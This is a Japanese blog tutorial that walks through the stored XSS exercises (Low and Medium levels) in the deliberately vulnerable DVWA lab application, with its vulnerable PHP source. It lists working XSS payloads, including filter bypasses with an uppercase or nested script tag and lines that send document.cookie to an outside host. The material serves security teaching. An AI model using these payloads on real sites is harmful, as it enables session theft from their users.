DVWAのXSS storedの脆弱性の演習

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

意図的に脆弱性が存在するWebサーバであるDVWAのXSS storedカテゴリの脆弱性の演習の流れを記載します。
XSS storedの脆弱性を悪用されると、掲示板などWebサイトが保存しているコンテンツ中にスクリプトを埋め込むことで意図しないコードが実行される可能性があります。
DVWAでは3段階(Low、Medium、High)のレベルに分かれて問題が出題されており、LowとMediumの演習の手順を記載します。

DVWAの概要や導入方法は「DVWA(Damn Vulnerable Web Application)を構築してみた」をご確認ください。

※本記事に記載している攻撃を自身が管理しているサーバ以外に攻撃した場合は、犯罪になりますので注意してください。
※本記事に記載している内容を行った場合でも私は責任を取れませんので、実施する際は注意してください。


DVWAのレベルの設定変更手順

DVWAで設定できる問題の難易度の3段階(Low、Medium、High)の設定方法のやり方を記載します。

(1) 「DVWA Security」をクリックして、「Security Level is currently 〇〇〇」に記載されている現在のレベルを確認します。その後、レベルを選択して、「Submit」をクリックします。
DVWAのレベルの設定変更(1)

(2) 「Security Level is currently 〇〇〇」の表記が変わったことを確認します。
DVWAのレベルの設定変更(2)

DVWAのXSS stored攻撃のやり方(レベル:Low)

(1) DVWAのXSS stored演習のソースコードは以下の通りです。

 <?php

if(isset($_POST['btnSign']))
{

   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);
   
   // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message);
   
   // Sanitize name input
   $name = mysql_real_escape_string($name);
  
   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
   
   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
   
}

?> 


(2) 「XSS stored」をクリックします。
DVWAのXSS Stored脆弱性(1)

(3) F12キーを押して、F12開発ツールを開く。その後、「インスペクター」タブをクリックして、messageのテキストエリアのmaxlengthの値をクリックする。maxlengthの値にて入力できる文字数を制限しているため、制限値を変更します。
DVWAのXSS Stored脆弱性(2)

(4) maxlengthの値を500に変更する。
DVWAのXSS Stored脆弱性(3)

(5) Messageの値にJavaScriptのコードを入力して、「Sign Guestbook」をクリックします。例えば、以下のような文字列を送信すると、任意のJavaScriptのプログラムを実行できます。

【例1:JavaScriptが実行されるか確認するために、ポップアップを表示する】
<script>alert("aaaa");</script>

【例2:別のページ(Googleのサイト)に遷移させる】
<script>window.location.href='https://www.google.com/';</script>

【例3:別のページ(Googleのサイト)にクッキーの情報を送る】
<script>window.location.href='https://www.google.com/?cookie=' + document.cookie;</script>

DVWAのXSS Stored脆弱性(4)

DVWAのXSS stored攻撃のやり方(レベル:Medium)

(1) DVWAのXSS storedの演習のソースコードは以下の通りです。

 <?php

if(isset($_POST['btnSign']))
{

   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);
   
   // Sanitize message input
   $message = trim(strip_tags(addslashes($message)));
   $message = mysql_real_escape_string($message);
   $message = htmlspecialchars($message);
    
   // Sanitize name input
   $name = str_replace('<script>', '', $name);
   $name = mysql_real_escape_string($name);
  
   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
   
   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
   
}

?> 


(2) 演習のレベルLowと比較すると、以下の内容が追記されていますので、messageパラメータはhtmlspecialchars関数にてエスケープ処理されています。nameパラメータについては、<script>という文字列を消す処理をします。

$message = trim(strip_tags(addslashes($message)));
ー--ー(中略)ー-ー-
$message = htmlspecialchars($message);

// Sanitize name input
$name = str_replace('<script>', '', $name);


(3) ユーザの入力値(nameパラメータ)を<script>以外は表示していますので、XSS(クロスサイトスクリプティング)の対策としては不十分で脆弱性があります。nameの入力値には文字数制限がありますので、F12開発ツールを開きます。

(4) 「インスペクター」タブをクリックして、nameのテキストボックスのmaxlengthの値をクリックする。maxlengthの値にて入力できる文字数を制限しているため、制限値を変更します。
DVWAのXSS Stored脆弱性(5)

(5) maxlengthの値を500に変更する。
DVWAのXSS Stored脆弱性(6)

(6) nameの値にJavaScriptのコードを入力して、「Sign Guestbook」をクリックします。例えば、以下のような文字列を送信すると、任意のJavaScriptのプログラムを実行できます。

【例1:scriptを大文字にして、JavaScriptを実行する】
<SCRIPT>alert("aaaa");</script>

【例2:<scr<script>ipt>を入れて、中にある<script>が削除されるため、JavaScriptを実行する】
<scr<script>ipt>alert("aaaa");</script>

【例3:別のページ(Googleのサイト)に遷移させる】
<SCRIPT>window.location.href='https://www.google.com/';</script>

【例4:別のページ(Googleのサイト)にクッキーの情報を送る】
<SCRIPT>window.location.href='https://www.google.com/?cookie=' + document.cookie;</script>

DVWAのXSS Stored脆弱性(7)


DVWAに関する記事

DVWAについての関連記事は以下の通りです。
必要に応じて、ご確認ください。

Noタイトル記事の概要
1DVWA(Damn Vulnerable Web Application)
を構築してみた
DVWAのバージョン1.0.7の構築手順を記載します。
2DVWAのBrute Forceの脆弱性の演習DVWAの環境を用いてBrute Force攻撃の
演習の例を記載します。
3DVWAのCommand Executionの脆弱性の演習DVWAの環境を用いてCommand Execution攻撃の
演習の例を記載します。
4DVWAのCross Site Request Forgery (CSRF)の
脆弱性の演習
DVWAの環境を用いてCSRF攻撃の
演習の例を記載します。
5DVWAのFile Inclusionの脆弱性の演習DVWAの環境を用いてFile Inclusionの脆弱性を
悪用した攻撃の演習の例を記載します。
6DVWAのSQL Injectionの脆弱性の演習DVWAの環境を用いてSQL Injection攻撃の
演習の例を記載します。
7DVWAのFile Uploadの脆弱性の演習DVWAの環境を用いてFile Uploadの脆弱性を
悪用した攻撃の演習の例を記載します。
8DVWAのXSS reflectedの脆弱性の演習DVWAの環境を用いてXSS reflected攻撃の
演習の例を記載します。
9DVWAのXSS storedの脆弱性の演習DVWAの環境を用いてXSS stored攻撃の
演習の例を記載します。